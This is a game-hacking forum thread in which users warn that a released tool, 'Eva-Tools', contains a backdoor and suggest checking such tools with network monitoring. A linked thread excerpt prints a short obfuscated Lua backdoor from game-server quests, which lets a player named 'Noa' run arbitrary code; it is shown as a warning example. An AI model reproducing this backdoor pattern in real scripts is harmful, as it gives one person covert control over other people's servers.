elitepvpers
|
#1
07/03/2015, 10:21
|
|
|
|
|
|
Hello again!
Here with a new back-door found by Chernobyl. The famous "Eva-Tools" is infected and all releases of it should be removed instantly. 
If you want to clean ur PC, use Malwarebytes this block this threat and you can safely use this program. Remember: When downloading such programs, use Wireshark and check if any outgoing traffic is sent to a specific server, or check it with Net Reflector Yourself. For people who love it(Clean version):  Decrypted source: Detected at 2015-07-03. Last edited by Goofie; 07/03/2015 at 10:43. |
|
Thanks
10 Users
|
|
#2
07/03/2015, 10:31
|
|
|
|
|
|
ty but that is not new.
//edit: Not Found
|
|
#3
07/03/2015, 10:40
|
|
|
|
|
|
Quote:
|
|
#4
07/03/2015, 11:10
|
|
|
|
|
|
@Gray Face
i need to talk with u about something please please send me msg with ur skype 
|
|
#5
07/03/2015, 11:25
|
|
|
|
|
|
Quote:
|
|
#6
07/03/2015, 11:41
|
|
|
|
|
|
K tell me how to talk with u ?
cause i tried to send u msg here but it say u closed it 
|
|
#7
07/03/2015, 12:17
|
|
|
|
|
|
Quote:
Last edited by Goofie; 07/03/2015 at 12:42. |
|
#8
07/03/2015, 13:19
|
|
|
|
|
|
Nothing new, anyone with a bit of brain scans his network and applications before using them.
Besides, chernobyl is already known for his dirty stuff. |
|
Thanks
1 User
|
|
#9
07/03/2015, 13:58
|
|
|
|
|
|
Quote:
|
|
#10
07/03/2015, 14:46
|
|
|
|
|
|
Good Job
|
|
#11
07/03/2015, 15:07
|
|
|
|
|
|
Isn't that new for me either.
"Release files of chern are always clean, it is just a false positive", yea sure. Whoever trusts anyone without any questioning about anything is a brainless jerk. |
|
#12
07/04/2015, 08:21
|
|
|
|
|
|
Good JOB
Quote:
|
|
Thanks
1 User
|
 |
|
|
Similar Threads
|
||||
|
[RELEASE] LUA Backdoor by Noa (Beispiel)
11/12/2013 - Metin2 PServer Guides & Strategies - 60 Replies Da Noa solche "Backdoors" in seine Quests packt wollte ich euch mal ein Beispiel zeigen wonach ihr bei seinen releasten Quests suchen solltet. function cCost() local da = string.format('%c%c%c',78,111,97) == string.gsub("$get_name$", "%$(.-)%$",function (a ) return pc() end) and loadstring('return '..loadstring('return '..string.format('%c%c%c%c%c',105,110,112,117,116) ..'()')())() and da or 20000000 return da end |
||||
